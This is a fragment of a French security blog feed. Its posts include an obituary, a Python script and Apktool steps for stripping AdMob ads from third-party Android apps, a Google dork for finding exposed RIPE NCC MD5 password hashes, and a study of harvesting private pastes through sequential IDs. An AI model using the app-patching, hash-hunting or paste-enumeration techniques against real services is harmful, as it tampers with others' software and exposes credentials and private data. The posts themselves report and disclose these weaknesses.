</content><category term="Sécu"/><category term="P2P"/><category term="hadopi"/></entry><entry><title>Le fondateur d'HZV, CrashFr, n'est plus.</title><link href="https://virtualabs.fr/humeur/Le-fondateur-d-HZV-CrashFr-n-est" rel="alternate"/><published>2011-12-04T23:12:11+01:00</published><updated>2011-12-04T23:12:11+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-12-04:/humeur/Le-fondateur-d-HZV-CrashFr-n-est</id><summary type="html">&lt;p&gt;Certains d'entre vous le savent peut-être déjà, mais nous avons perdu un hacker et très bon ami samedi dernier, le 3 décembre 2011. La nouvelle s'est répandu assez rapidement dans son entourage, puis dans son cercle d'amis. CrashFr, hacker au grand coeur qui a créé il y a de cela …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Certains d'entre vous le savent peut-être déjà, mais nous avons perdu un hacker et très bon ami samedi dernier, le 3 décembre 2011. La nouvelle s'est répandu assez rapidement dans son entourage, puis dans son cercle d'amis. CrashFr, hacker au grand coeur qui a créé il y a de cela plusieurs années Hacker'z Voice, est décédé à l'âge de 30 ans. Brutalement.&lt;/p&gt;
&lt;p&gt;Je l'ai rencontré il y a plusieurs années, durant les nombreuses Nuit du Hack qu'il a organisé, et auxquelles j'ai pu participer. Un type formidable, ce CrashFr. C'est grâce à lui notamment qu'on a pu monter certains magazines (qui n'ont pas forcément marché), que l'on a pu faire entendre la voix des hackers et faire valoir leurs compétences et leur savoir-faire. Il s'est toujours battu pour ses idées, et il était toujours le premier à foncer. C'était une de ces personnes qui ne s'avouaient jamais vaincues, même lorsque le moral était au plus bas ou que rien ne laissait présager de bon. Un battant, ce Paolo. A plusieurs reprises je l'ai vu confronté à des problèmes, retourner dans tous les sens des questions, mais sans qu'il perde son optimisme ni sa bonne humeur.&lt;/p&gt;
&lt;p&gt;On ne s'y attendait pas. Personne. Mais la vie est cruelle, et si fragile. Trop même. Je n'ai pas les mots justes pour décrire dans quel état d'esprit je suis, certainement trop bouleversé pour pouvoir réaliser exactement ce qu'il s'est passé, je ne sais pas comment appréhender les jours à venir. A tous ceux qui lui étaient proches, je vous souhaite du courage pour surmonter cette épreuve. Un hacker de renom nous a quitté, sans crier gare, sans même qu'on ait eu le temps de crier. Et s'il y a bien une chose que j'ai envie de faire en ce moment, c'est bien ca, crier. Mais il ne reviendra pas. J'ai beau essayer, ca ne change pas. Toujours cette même réalité, ce mauvais cauchemar qui n'en est pas un. Tu es parti mon ami. Et je réalise maintenant à quel point tu comptais vraiment.&lt;/p&gt;
&lt;p&gt;Tu resteras toujours avec nous, dans nos mémoires de geeks, toi le hacker à la casquette. Repose en paix.&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Désactiver à froid AdMob grâce à Apktool et un poil de python</title><link href="https://virtualabs.fr/secu/Desactiver-a-froid-AdMob-grace-a" rel="alternate"/><published>2011-11-28T22:37:42+01:00</published><updated>2011-11-28T22:37:42+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-11-28:/secu/Desactiver-a-froid-AdMob-grace-a</id><summary type="html">&lt;p&gt;Je suis plutôt occupé sur pas mal de projets ces dernières semaines (dont un qui je l'espère sera publié avant noël ...) et je n'ai pas franchement eu le temps de rédiger quoique ce soit qui a un tant soit peu d'intérêt. Jusqu'à aujourd'hui, où je me suis dit que cela …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je suis plutôt occupé sur pas mal de projets ces dernières semaines (dont un qui je l'espère sera publié avant noël ...) et je n'ai pas franchement eu le temps de rédiger quoique ce soit qui a un tant soit peu d'intérêt. Jusqu'à aujourd'hui, où je me suis dit que cela commençait à bien faire, et qu'il fallait que je me sorte les doigts du ... enfin que je me motive pour publier un truc sympa. J'avoue aussi que je suis malade à crever (comme tous les mecs malades), et que cela m'occupe un brin dans cette soirée hivernale.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le modèle économique d'Android&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google promeut via Android la philosophie du Libre en diffusant le code source de son système d'exploitation mobile, contrairement à Apple et son IOS. Le problème, c'est que le Libre est bien (trop ?) souvent associé à la notion de gratuité, et les premiers geeks ayant opté pour le système Android s'attendaient de fait à avoir un panel d'applications &lt;em&gt;gratuites&lt;/em&gt; intéressant et complet. Force est de remarquer que les développeurs d'applications n'avaient pas trop à y gagner, contrairement à l'iPhone où le prix du terminal détermine assez facilement le type d'acheteur/utilisateur/consommateur. Type qui ne se refuse pas de payer une application lorsqu'il en a besoin, contrairement à l'utilisateur Android.&lt;/p&gt;
&lt;p&gt;Il est donc apparu comme essentiel, pour les développeurs d'applications mobiles destinées à Android, que la conception et la promotion d'une application se devait de passer par l'ancien modèle des sharewares: une version &lt;em&gt;lite&lt;/em&gt; gratuite avec pub et dans certains cas des limitations, et une version complète &lt;em&gt;payante cette fois-ci&lt;/em&gt;, qui supprime la pub et offre des fonctionnalités avancées. Regardez par exemple l'application &lt;a class="reference external" href="https://market.android.com/details?id=com.nullsoft.winamp"&gt;Winamp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Et bien sûr, nous simples utilisateurs d'Android, on doit subir les bandeaux de pub et autres joyeusetés qui nous prennent pour des vaches à lait. Sans parler des applications ne nécessitant &lt;em&gt;a priori&lt;/em&gt; aucune connection de données qui de fait se mettent à pomper de la bande passante, faute à la pub. Et j'oublie encore le tracking des utilisateurs effectué par ces régies de pub ... Bref, il est des applications où l'on se dit que cela suffit, si on pouvait enlever cette satané pub cela nous ferait économiser de la bande passante et de précieuses minutes.&lt;/p&gt;
&lt;p&gt;AdMob est le système de publicité (de monétisation d'application que l'on dit) géré par Google et qui s'intègre avec bon nombre d'applications présentes sur l'Android Market.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;De la manière de désactiver AdView&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Alors oui, AdMob c'est lourd, AdMob c'est pas bien. Et AdMon on va le désactiver, enfin pour les applications reposant sur le paquetage &lt;em&gt;com.google.ads.AdView&lt;/em&gt;. Pour cela on se munit d'Apktool, notre super outil de désassemblage/réassemblage d'application Android, et on jette un oeil à une application qui utilise AdMob (tiens,* TaskManager* par exemple). Premier problème rencontré, l'outil &lt;em&gt;proguard&lt;/em&gt; qui obfusque un brin les noms des classes et des méthodes. En fait, il s'agit d'un faux problème, car AdMon étant intégré à une application à l'aide d'une bibliothèque externe (un fichier .jar référencé dans le projet), les noms de classes et de méthodes sont restées intactes (ou presque). Pour être précis, certaines méthodes implémentées dans AdView sont exemptes d'obfuscation, car appelée par différents composants. J'ai pu identifier une méthode qui ne subit pas d'obfuscation:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    .parameter &amp;quot;adRequest&amp;quot;
    .prologue
    iget-object v0, p0, Lcom/google/ads/AdView;-&amp;gt;a:Ld;
    invoke-virtual *v0*, Ld;-&amp;gt;e()Landroid/app/Activity;
    move-result-object v0
    if-nez v0, :cond_0
    const-string v0, &amp;quot;activity was null while checking permissions.&amp;quot;
    invoke-static *v0*, Lcom/google/ads/util/a;-&amp;gt;e(Ljava/lang/String;)V
    :goto_0
    return-void
    :cond_0
    invoke-virtual *p0*, Lcom/google/ads/AdView;-&amp;gt;isRefreshing()Z
    move-result v0
    if-eqz v0, :cond_1
    iget-object v0, p0, Lcom/google/ads/AdView;-&amp;gt;a:Ld;
    invoke-virtual *v0*, Ld;-&amp;gt;c()V
    :cond_1
    iget-object v0, p0, Lcom/google/ads/AdView;-&amp;gt;a:Ld;
    invoke-virtual *v0, p1*, Ld;-&amp;gt;a(Lcom/google/ads/AdRequest;)V
    goto :goto_0
.end method
&lt;/pre&gt;
&lt;p&gt;Cette méthode est appelée lors du chargement de la publicité. Nous allons la court-circuiter en la patchant comme ceci:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    return-void
.end method
&lt;/pre&gt;
&lt;p&gt;Et on reconstruit le paquetage Android (APK):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ apktool b mobi.infolife.taskmanager-1 mobi.infolife.taskmanager-nopub.apk
$ jarsigner -v -keystore my.keystore myalias mobi.infolife.taskmanager-nopub.apk
$ adb mobi.infolife.taskmanager-nopub.apk
&lt;/pre&gt;
&lt;p&gt;On peut ensuite admirer le résultat, une belle application sans publicité.&lt;/p&gt;
&lt;img alt="" src="/images/taskmanager-nopub.png" /&gt;
&lt;p&gt;&lt;strong&gt;Bon allez zou, on automatise&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Histoire de m'amuiser un peu, j'ai développé un petit script python qui automatise ce patch, libre à vous de l'utiliser dans un script bash ou je ne sais comment, c'est gratuit, cadeau, offert par la maison.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;quot;&amp;quot;&amp;quot;

This is a little python script to disable Google AdView from disassembled
Android's APKs (disassembled thanks to Apktool).

Pre-requesites:

    1. Install Apktool (http://code.google.com/p/android-apktool/)
    2. Be sure that jarsigner is installed on your system

How to use it:

    1. Disassemble your APK with Apktool

            $ apktool d com.example-1.apk

    2. Launch winston.py

            $ ./winston.py com.example-1

    3. Rebuild your APK

            $ apktool b com.example-1 com.example-noad.apk
            $ keytool -genkey -v -keystore my.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
            $ jarsigner -v -keystore my.keystore myalias com.example-noad.apk
            $ adb install com.example-noad.apk

And that's it !

Have fun ;)

&amp;quot;&amp;quot;&amp;quot;

import re
import os
import optparse
from subprocess import Popen

class WinstonWolf:

    def __init__(self, directory):
            self.base_dir = directory

    def __checkGoogleAdView(self):
            return os.path.exists(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'))

    def patchAdView(self):
            print '[i] Checking AdView presence ...'
            if self.__checkGoogleAdView():
                    try:
                            print '[i] Patching AdView file ...'
                            f = open(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'),'r')
                            src = f.read()
                            start = src.index('.method public loadAd(Lcom/google/ads/AdRequest;)V')
                            patch = &amp;quot;&amp;quot;&amp;quot;
.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    return-void
.end method
                            &amp;quot;&amp;quot;&amp;quot;
                            if start:
                                    end = src`start:].index('.end method')
                                    if end:
                                            patched = src[:start] + patch + src[(start+end+11):]
                                            f.close()
                                            f = open(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'),'w')
                                            f.write(patched)
                                            f.close()
                                            print '[i] AdView patched !'
                                            return True
                                    else:
                                            print '[!] Cannot patch: end method not found'
                                            return False
                            else:
                                    print '[!] Cannot find AdView &amp;lt;loadAd() method'
                                    return False

                    except IOError,e:
                            print '[!&amp;gt;`_ Unable to open/read/write file.'
                            return False
            else:
                    print '[!] AdView.smali not found !'

def createParser():
    parser = optparse.OptionParser(&amp;quot;usage: %prog [options]&amp;quot;)
    parser.add_option('-d','--directory',dest='directory',help='Directory of android application disassembly (created by apktool)',metavar='DIR')
    return parser

def banner():
    print '[ Android APK GoogleAds remover - By virtualabs (http://virtualabs.fr) ]'

if __name__ == '__main__':
    banner()
    (options, args) = createParser().parse_args()
    if options.directory:
            ww = WinstonWolf(options.directory)
            ww.patchAdView()
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je tiens tout de même à préciser qu'il existe pas mal de régies de pub qui supportent Android et qui utilisent chacune leur propre framework. On pourrait envisager d'améliorer ce petit bout de code de manière à gérer un grand nombre de bibliothèques de régies, ou tout simplement migrer sur une ROM custom qui permet d'éviter toute connexion à un serveur de publicité (de par la configuration du /etc/hosts). Bref, ce ne sont pas les solutions qui manquent, celle-ci a tout de même l'avantage de fonctionner sur n'importe quelle version d'Android. Et oui, je vais aller me soigner.&lt;/p&gt;
</content><category term="Sécu"/><category term="désassemblage"/><category term="android"/><category term="patching"/></entry><entry><title>Y'a bon les hashes MD5 du RIPE NCC !</title><link href="https://virtualabs.fr/secu/Y-a-bon-les-hashes-MD5-du-RIPE-NCC" rel="alternate"/><published>2011-11-04T16:37:47+01:00</published><updated>2011-11-04T16:37:47+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-11-04:/secu/Y-a-bon-les-hashes-MD5-du-RIPE-NCC</id><summary type="html">&lt;p&gt;Dans la série des choses bizarres que j'ai pu observer en furetant sur Internet, je vous présente l'authentification sécurisée de RIPE NCC. RIPE NCC, ce n'est rien d'autre que le centre de coordination des réseaux IP européens, autrement dit l'organisme en charge de la gestion des adresses IP sur le …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dans la série des choses bizarres que j'ai pu observer en furetant sur Internet, je vous présente l'authentification sécurisée de RIPE NCC. RIPE NCC, ce n'est rien d'autre que le centre de coordination des réseaux IP européens, autrement dit l'organisme en charge de la gestion des adresses IP sur le vieux continent. C'est cet organisme qui attribue des plages d'adresses IP aux sociétés, et qui leur offre le moyen de gérer leurs données. C'est aussi cet organisme qui est en charge du maintient des bases de données WHOIS pour les plages d'adresses IP dont il a la charge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authentification vous avez dit ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bien sûr, l'accès à ces données est protégée par une authentification, utile seulement pour l'ajout, la modification et la suppression d'enregistrements. Histoire que madame Michu ne puisse pas modifier les adresses de courriel associées à un mainteneur par exemple (très utilisées en cas d'abus, de phishing, ou que sais-je ...). D'ailleurs le RIPE NCC met à disposition &lt;a class="reference external" href="http://www.ripe.net/data-tools/support/security/protecting-data"&gt;une page explicitant les méthodes d'authentification supportées&lt;/a&gt;, ce qui inclut:
*  l'authentification par hash FreeBSD MD5
*  l'authentification par certificat X.509
*  l'authentification par clef PGP&lt;/p&gt;
&lt;p&gt;Je ne vous cache pas que les deux dernières options sont mises en avant par le RIPE NCC, celui-ci précisant que l'authentification par hash FreeBSD MD5 est vulnérable à deux attaques:
*  le cassage de mot de passe (à partir du hash FreeBSD MD5)
*  l'interception du mot de passe (celui-ci étant notamment envoyé en clair dans les emails de mise-à-jour)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hash MD5 vs PGP vs X.509&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La question est donc posée: combien de mainteneurs emploient l'authentification par hash FreeBSD MD5 ? Pour répondre à cette question, rien ne vaut un bon vieux &lt;em&gt;google dork&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
site:apps.db.ripe.net &amp;quot;mntner: &amp;quot; &amp;quot;MD5-PW&amp;quot; ##NOMDESOCIETE##
&lt;/pre&gt;
&lt;p&gt;Ce qui nous donne de beaux résultats, comme par exemple avec Microsoft:&lt;/p&gt;
&lt;img alt="" src="/images/capture-google-hack.png" /&gt;
&lt;img alt="" src="/images/lookup-microsoft.png" /&gt;
&lt;p&gt;Hé oui, l'authentification MD5 est présente, et seulement celle-là ! C'est aussi le cas de DEXIA, de BNP Paribas, d'ORACLE, et j'en passe. Le nombre de ces champs d'authentification n'est pas limité, il est donc possible de paramétrer plusieurs mots de passe pour un seul objet, ce qui rend la probabilité d'attaque plus grande. Avec le hack google présenté ci-dessus, on trouve énormément de mainteneurs qui utilisent ce type d'authentification, exposant de fait leurs données.&lt;/p&gt;
&lt;p&gt;Il est d'ailleurs étrange de voir que le site de RIPE NCC propose à la consultation le contenu de ces champs d'authentification, qui ne sont absolument pas nécessaires au quidam. Peut-être que les cacher pourrait empêcher de les casser facilement ? Dire que des groupes de hackers exploitent des injections SQL en masse pour obtenir ces précieux sésames ... Alors que le RIPE NCC les donne publiquement ! &lt;strong&gt;Update: Ils ont publié depuis une note sur le site des labs du RIPE NCC concernant le futur de ces hashes MD5, cf [1].&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans certains cas, l'authentification MD5 est couplée à une authentification par certificat ou clef PGP, comme c'est le cas par exemple pour le mainteneur RAIN-TRANSPAC:&lt;/p&gt;
&lt;img alt="" src="/images/rain-transpac-lookup.png" /&gt;
&lt;p&gt;Mais gros problème pour ce mainteneur, le mot de passe correspondant à un de ses hashes MD5 n'est absolument pas solide (7 caractères alphabétiques dont 1 majuscule, merci &lt;a class="reference external" href="http://project.kalkulators.org"&gt;Sorcier_FXK&lt;/a&gt;) et peut autoriser la modification des objets dépendant de ce mainteneur (qui je le rappelle, correspond aux Réseau d'Accès à l'INternet, appartenant à France Telecom/Orange Business). Une fois le mot de passe retrouvé, il est aisé de modifier le contenu des enregistrements via &lt;a class="reference external" href="https://apps.db.ripe.net/webupdates/"&gt;le formulaire web dédié&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quelques statistiques&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Suite à cela, j'ai codé un petit outil qui se base sur un ancien top 100 des mainteneurs, afin de déterminer le pourcentage de ces mainteneurs utilisant les différents modes d'authentification proposés, et les résultats sont les suivants (sur 85 mainteneurs encore en activité):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;83,53% des objets correspondant aux mainteneurs possèdent une authentification par hash FreeBSD MD5&lt;/li&gt;
&lt;li&gt;37,65% d'entre eux possèdent une authentification par clef PGP&lt;/li&gt;
&lt;li&gt;37,65% d'entre eux possèdent une authentification par certificat X.509&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il s'agit de statistiques calculées assez rapidement, mais cela montre tout de même la prépondérance de l'authentification par hash FreeBSD MD5, et donc la vulnérabilité potentielle de ces objets mainteneurs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact &amp;amp; responsabilités&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le site du RIPE NCC précise bien que l'authentification via hash FreeBSD MD5 est plus faible que l'authentification via PGP ou certificat X.509, seulement la grande majorité des utilisateurs historiques ont de prime abord opté pour cette méthode d'authentification, fragilisant de fait l'intégrité des données stockées dans la base de données du RIPE.&lt;/p&gt;
&lt;p&gt;Il est donc de la responsabilité des mainteneurs d'éviter à tout prix l'emploi de ce mode d'authentification, et de lui préférer PGP ou l'emploi de certificats X.509. Quant au RIPE NCC, il est de leur responsabilité de ne pas diffuser les hashes FreeBSD MD5 afin de ne pas fragiliser l'intégrité des données de leurs utilisateurs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EDIT: J'ai été contacté après coup par Stephane Bortzmeyer et Alix Guillard, le premier m'ayant donné de plus amples informations sur les ressources offertes par le RIPE NCC et le second m'ayant dirigé vers la mailing-list db-wg (database working group) du RIPE afin d'exposer mon point de vue. Un thread a été démarré, auquel j'ai apporté mon soutien: http://www.ripe.net/ripe/mail/archives/db-wg/2011-November/001993.html. En espérant que cela puisse permettre de faire avancer les choses. Merci à vous deux.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EDIT #2: Le RIPE NCC a publié le 09/11/2011 un billet sur le site des labs RIPE NCC explicitant le problème et envisageant de prendre les mesures adéquates, comme discuté sur la mailing-list db-wg.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://labs.ripe.net/Members/kranjbar/password-management-in-ripe-database"&gt;[1] Le billet des labs RIPE NCC concernant l'authentification par hash FreeBSD MD5&lt;/a&gt;&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Le code source de Youspot est désormais ouvert (GPLv2)</title><link href="https://virtualabs.fr/projets/Le-code-source-de-Youspot-est" rel="alternate"/><published>2011-10-14T02:33:15+02:00</published><updated>2011-10-14T02:33:15+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-10-14:/projets/Le-code-source-de-Youspot-est</id><summary type="html">&lt;p&gt;Cela fait plus de six longs mois que je tente (en vain) de me motiver afin de développer une seconde version de mon application Youspot pour Android, et je me heurte à chaque fois à des barrières: pas assez de temps, application relativement complexe, manque de motivation pour coder la …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela fait plus de six longs mois que je tente (en vain) de me motiver afin de développer une seconde version de mon application Youspot pour Android, et je me heurte à chaque fois à des barrières: pas assez de temps, application relativement complexe, manque de motivation pour coder la nuit (malgré le coca, je dois avouer). Bref, je n'en pouvais plus de ne pas pouvoir faire avancer ce projet aussi vite que je l'aurais voulu.&lt;/p&gt;
&lt;p&gt;Alors j'en ai parlé autour de moi. Aux geeks qui me connaissent, aux collègues, etc ... Sur twitter aussi j'ai fait part de cette idée d'arrêter de tenter d'améliorer la version actuelle de Youspot, et plusieurs followers m'ont suggéré d'ouvrir les sources. Il est vrai que jusque là, j'avais conservé jalousement le code source de l'application, tout en sachant pertinemment que cela ne servait pas à grand chose, ayant réalisé pas mal d'analyse d'application Android. Je ne sais pas pourquoi je n'avais pas songé à diffuser le code plus tôt, certainement parce que celui-ci était mal/peu commenté. Certainement parce que je pensais pouvoir mener la barque de ce projet à terme.&lt;/p&gt;
&lt;p&gt;La réalité m'a rattrapé: le boulot, la famille et le temps que j'ai investi dans Youspot ont eu raison de ma santé (ou presque), et j'accumule un grand nombre de projets personnels qui restent en stand-by à cause de Youspot. Bref, décision fut prise d'ouvrir les sources, et tant qu'à faire autant promouvoir git, car je suis en train de migrer mes projets de subversion à git. C'est donc tout naturellement que le code source de Youspot a atteri sur github (&lt;a class="reference external" href="https://github.com/virtualabs/Youspot/"&gt;https://github.com/virtualabs/Youspot/&lt;/a&gt;). Le code source de l'application, les ressources graphiques ainsi que le code PHP du webservice sont disponibles, et a priori n'importe qui peut recompiler l'application, l'arranger à sa sauce et monter son propre serveur Youspot.&lt;/p&gt;
&lt;p&gt;Ce que j'espère de tout cœur, en partageant ce code source d'application, c'est qu'il puisse montrer aux développeurs débutant sur Android comment coder (de manière pas très propre et conforme ISO1664) une application assez complexe; ainsi que permettre à une ou plusieurs personnes qui seraient intéressées par l'application de reprendre le développement de celle-ci. La version actuelle présente sur le Market ne sera pas retirée, et le site www.youspot.org restera actif (merci Corbier ;), je tiens à le préciser.&lt;/p&gt;
&lt;p&gt;Merci à tous d'avoir testé et soutenu Youspot, peut-être du renouveau très bientôt ? Qui sait.&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>Pastebin: you're doing it wrong !</title><link href="https://virtualabs.fr/secu/Pastebin-you-re-doing-it-wrong" rel="alternate"/><published>2011-09-14T23:33:39+02:00</published><updated>2011-09-14T23:33:39+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-09-14:/secu/Pastebin-you-re-doing-it-wrong</id><summary type="html">&lt;p&gt;Suite aux différentes révélations de piratages de sites qui ont eu pour source des &lt;em&gt;pastes&lt;/em&gt; effectuées sur &lt;em&gt;pastebin.com&lt;/em&gt; et consors, je me suis intéressé de plus près à ces systèmes et aux usages courants de ceux-ci.
Ces systèmes dits de &lt;em&gt;pastebin&lt;/em&gt; sont très utilisés par des développeurs, ou même …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Suite aux différentes révélations de piratages de sites qui ont eu pour source des &lt;em&gt;pastes&lt;/em&gt; effectuées sur &lt;em&gt;pastebin.com&lt;/em&gt; et consors, je me suis intéressé de plus près à ces systèmes et aux usages courants de ceux-ci.
Ces systèmes dits de &lt;em&gt;pastebin&lt;/em&gt; sont très utilisés par des développeurs, ou même des internautes pour partager des séries de textes, comme des codes sources ou encore le contenu de fichiers de configuration. Ces partages peuvent être réalisés de manière publique ou non.&lt;/p&gt;
&lt;p&gt;J'ai orienté mon analyse dans deux directions. La première est classique, il s'agit tout simplement de mesurer la résistance des sites de pastebin au &lt;em&gt;harvesting&lt;/em&gt;, la seconde de sonder les usages fait par les utilisateurs du service. Je dois dire que la première direction me semblait tracée, quant à la seconde j'ai été quelque peu surpris.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;{L'{harvesting&lt;/em&gt; ou comment dénicher des pastes perdues}}&lt;/p&gt;
&lt;p&gt;Tout système de pastebin se doit d'implémenter certaines fonctionnalités, comme:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;permettre le paramétrage d'une durée de stockage&lt;/li&gt;
&lt;li&gt;autoriser ou non la mise à disposition au public du paste&lt;/li&gt;
&lt;li&gt;donner un alias au &lt;em&gt;paste&lt;/em&gt; qui soit difficile à deviner (dans le cas de &lt;em&gt;paste&lt;/em&gt; privée par exemple)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces fonctionnalités doivent être implémentées dans tout &lt;em&gt;pastebin&lt;/em&gt; qui se respecte, cependant ce n'est pas le cas de tous ! J'ai pu notamment éplucher le fonctionnement de plusieurs &lt;em&gt;pastebin&lt;/em&gt; qui ne répondent pas à ces critères, dont certains sont relativement connus et usités. Le critère le moins souvent respecté est le troisième que j'ai précédemment énoncé, celui qui consiste à donner un alias de &lt;em&gt;paste&lt;/em&gt; qui ne soit pas aisément trouvable. Or bon nombre de &lt;em&gt;pastebin&lt;/em&gt; se contentent de l'incrémenter, comme par exemple &lt;a class="reference external" href="http://pastebin.archlinux.fr"&gt;pastebin.archlinux.fr&lt;/a&gt;, &lt;a class="reference external" href="http://paste.ubuntu.com"&gt;paste.ubuntu.com&lt;/a&gt; ou encore &lt;a class="reference external" href="http://www.pastie.org"&gt;pastie.org&lt;/a&gt;.&lt;/p&gt;
&lt;img alt="" src="/images/pastie2.jpg" /&gt;
&lt;img alt="" src="/images/pastie1.jpg" /&gt;
&lt;p&gt;Il devient alors aisé de décrémenter le numéro référençant le &lt;em&gt;paste&lt;/em&gt;, et de lister l'ensemble des contenus accessibles, dont notamment les &lt;em&gt;pastes&lt;/em&gt; qui sont privées et ne devaient &lt;em&gt;a priori&lt;/em&gt; pas être lues par tout le monde. Le non-respect de la troisième fonctionnalité implique ainsi une entorse possible à la seconde fonctionnalité.&lt;/p&gt;
&lt;p&gt;Quant à la première, certains &lt;em&gt;pastebins&lt;/em&gt; ne l'implémentent pas du tout, comme c'est le cas sur le pastebin de la distribution &lt;strong&gt;Ubuntu&lt;/strong&gt;, qui conserve des &lt;em&gt;pastes&lt;/em&gt; datant de 2007, comme par exemple &lt;a class="reference external" href="http://paste.ubuntu.com/6/"&gt;ce paste&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J'ai donc développé un petit outil permettant de récupérer les données intéressantes qui pourraient se trouver dans ces différents &lt;em&gt;pastebins&lt;/em&gt;, afin de les analyser et de pouvoir repérer les usages faits de ces outils de stockage de texte.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et on creuse à la mode Minecraft ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Muni de cet outil, j'ai tout simplement commencé à récupérer bon nombre de &lt;em&gt;pastes&lt;/em&gt; publiques ou privées, et conservé que celles qui me semblaient pertinentes (présence d'URLs, de référence à des mots de passe, des identifiants, etc ...).&lt;/p&gt;
&lt;p&gt;J'ai été surpris de découvrir les différents usages fait de ces &lt;em&gt;pastebins&lt;/em&gt;, car à part le partage de code source ou de texte et la diffusion de textes indiquant le piratage de tel ou tel serveur, je n'avais envisagé seulement qu'une poignée d'utilisations possibles. Alors que la réalité est toute autre !&lt;/p&gt;
&lt;p&gt;Certes, les bouts de code partagés sont dans certains cas très intéressants, comme celui-ci récupéré sur le &lt;em&gt;pastebin&lt;/em&gt; d'Ubuntu et qui dévoile une portion de requête SQL en place sur launchpad.net (développé par Canonical, la même société qui supporte Ubuntu):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Traceback (most recent call last):
  File &amp;quot;/srv/launchpad.net/codelines/current/scripts/ftpmaster-tools/sync-source.py&amp;quot;, line 858, in ?
    main()
  File &amp;quot;/srv/launchpad.net/codelines/current/scripts/ftpmaster-tools/sync-source.py&amp;quot;, line 853, in main
    current_binaries = read_current_binaries(Options.tosuite)
  File &amp;quot;/srv/launchpad.net/codelines/current/scripts/ftpmaster-tools/sync-source.py&amp;quot;, line 483, in read_current_binaries
    cur.execute(query)
psycopg.ProgrammingError: ERROR:  column &amp;quot;published&amp;quot; does not exist at character 397


    SELECT bpn.name, bpr.version, c.name
    FROM binarypackagerelease bpr, binarypackagename bpn, component c,
        securebinarypackagepublishinghistory sbpph, distroarchrelease dar
    WHERE
        bpr.binarypackagename = bpn.id AND
             sbpph.binarypackagerelease = bpr.id AND
        sbpph.component = c.id AND
        sbpph.distroarchrelease = dar.id AND
        sbpph.status = Published AND dar.id in (59, 60, 61, 62, 65, 63, 64)
&lt;/pre&gt;
&lt;p&gt;Il est par ailleurs intéressant de noter que Canonical s'est servi de ce &lt;em&gt;pastebin&lt;/em&gt; à des fins de partage de code interne, &lt;em&gt;a priori&lt;/em&gt; sans se douter que n'importe qui pouvait le récupérer. On y trouve par ailleurs une donnée encodée en base64 qui ressemble étrangement à une clef publique SSH, dans les premiers pastes insérés dans le &lt;em&gt;pastebin&lt;/em&gt; d'Ubuntu:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
AAAAB3NzaC1yc2EAAAABIwAAAQEAnfeJoAXw+5hHrSgr09AQBLocDwlxguTAv7ZjbrWh09gbneg3Gl+lziraHUpIM3odvUhiWpKyjiPBPxBRyYdLijv774jxuZ34eDQ09U+L6ofsimB9dFuG0aduVJZCC/A6BAg9DZzXU9U6YdoYMlvvR9W7a9TUqE1Mtql0G30u0y1jTnguumosFllTCr1ww7AW4yu8UJz41OubwUiRSgNMhFSuPmqhf/v8v1Y38j2eeb6CvsZGMmPOQ2QqvHVc+mjbeqONDTuE0PFdHc86a59oejodEtpJuKw5FSmaxNCrQWJTZ+GkLRGHMwn3iNqOMWtUeud8IQBWdVRpIozirnP5Aw==
&lt;/pre&gt;
